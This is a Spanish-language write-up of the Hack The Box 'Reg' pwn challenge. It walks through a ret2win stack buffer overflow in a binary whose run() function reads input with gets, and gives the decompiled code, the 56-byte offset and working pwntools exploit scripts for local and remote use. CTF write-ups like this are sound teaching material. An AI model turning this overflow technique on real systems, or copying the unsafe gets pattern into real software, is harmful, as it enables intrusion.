Home Reg - Pwn Challenge (HTB) ❤
Post
Cancel

Reg - Pwn Challenge (HTB) ❤

Hola a tod@s! Hoy les traigo un nuevo post de binary exploitation.

Este es un reto de pwning, del tipo ret2win, el cual implica explotar un Buffer Overflow con el objetivo hacer una llamado a una función que imprime la flag del desafío por pantalla.

Para comenzar, primeramente realizamos un análisis general del binario, checando sus protecciones:

Untitled

Como se muestra en imagen, el binario es de 64 bits y posee la protección no-execute (NX), lo cual desde ya, significa que no podremos cargar código malicioso en el stack, mediante un shellcode.

Hecho esto, podemos empezar a entender la función y comportamiento del programa:

Untitled

Al parecer es algo bastante sencillo, ya que sólo te pide el nombre y nada más.

En base a esto, comenzamos jugar y en lugar de colocar un nombre de 10 bytes, metemos una string de 100 bytes:

Untitled

Como se muestra en imagen, el programa arroja un error segmentation fault, lo cual es más que suficiente para intuir que hemos desbordado el buffer.

Sabiendo esto, analizaremos el programa un poco más a fondo, aplicando reversing con Ghidra.

En la siguiente imagen, podemos observar que existe una función main la cual hace una llamada a run:

1
2
3
4
5
6
int main(void)

{
  run();
  return 0;
}

La función run está encargada de recibir los datos del usuario por medio de la función gets, como se muestra a continuación:

1
2
3
4
5
6
7
8
9
10
11
void run(void)

{
  char user_name [48];
  
  initialize();
  printf("Enter your name : ");
  gets(user_name);
  puts("Registered!");
  return;
}

En este punto, ya podemos identificar dónde se acontece el buffer overflow.

Como se muestra en el código anterior, el programa usa la función gets para recibir el input del usuario. Dicha función es conocidamente vulnerable a ataques de desbordamiento de buffer, ya que esta no valida si el número de bytes introducidos por el usuario coinciden con aquellos que se reservaron para la variable, en base a esto el usuario puede comenzar a sobrescribir otras área de la memoria y controlar el flujo del programa:

Untitled

Siguiendo con Ghidra, se logra identificar una función winner la cual no es llamada desde main o run:

Untitled

Como se observa a continuación, el código de la función winner se encarga de imprimir el contenido del archivo flag.txt por pantalla:

1
2
3
4
5
6
7
8
9
10
11
12
13
void winner(void)

{
  char flag_content [1032];
  FILE *flag_file;
  
  puts("Congratulations!");
  flag_file = fopen("flag.txt","r");
  fgets(flag_content,1024,flag_file);
  puts(flag_content);
  fclose(flag_file);
  return;
}

Una vez analizado todo el flujo del programa, continuamos con la detección del offset, o sea la cantidad de bytes que tenemos que meter en el overflow antes de sobrescribir la dirección de retorno.

Para esto computamos una cadena 100 bytes, utilizando pattern create en gdb-gef:

Untitled

Al colocar esta cadena en el name provocamos que se sobrescriban los registros del programa, con lo que logramos detectar el offset correctamente:

Untitled

Teniendo el offset en mano, sólo nos estaría faltando identificar la ubicación de memoria de la función winner, lo cual es logrado fácilmente con la herramienta readelf:

Untitled

En base a todos los datos recopilados anteriormente, se construye el siguiente exploit, el cual se encarga de explotar el BoF de manera local para leer el contenido del archivo flag.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3

from pwn import process, p64

if __name__ == '__main__':
    p = process('./reg')

    offset = 56
    junk = b'\x41' * offset
    
    winner_addr = 0x401206 # winner() location

    # ret2win payload
    payload = junk 
    payload += p64(winner_addr) 

    p.sendlineafter(b'Enter your name : ', payload)
    p.interactive()

Como se puede observar en imagen, el BoF es explotado correctamente de forma local:

Untitled

Para explotar el BoF de forma remota, sólo tendríamos que modificar el exploit, colocando el método remote en lugar de process, y así conectarnos al server de HTB:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3

from pwn import remote, p64, log

if __name__ == '__main__':
    p = remote('206.189.27.45', 31721) # htb remote connection

    offset = 56
    junk = b'\x41' * offset

    # winner() function location
    winner_addr = 0x401206

    # ret2win payload
    payload = junk 
    payload += p64(winner_addr) 

    # exploiting bof
    p.sendlineafter(b'Enter your name : ', payload)
    p.interactive()

Ya ejecutando el exploit, logramos obtener la flag del desafío correctamente:

Untitled

References

  • gets(7) - Linux Manual Page: https://man7.org/linux/man-pages/man3/gets.3.html
This post is licensed under CC BY 4.0 by the author.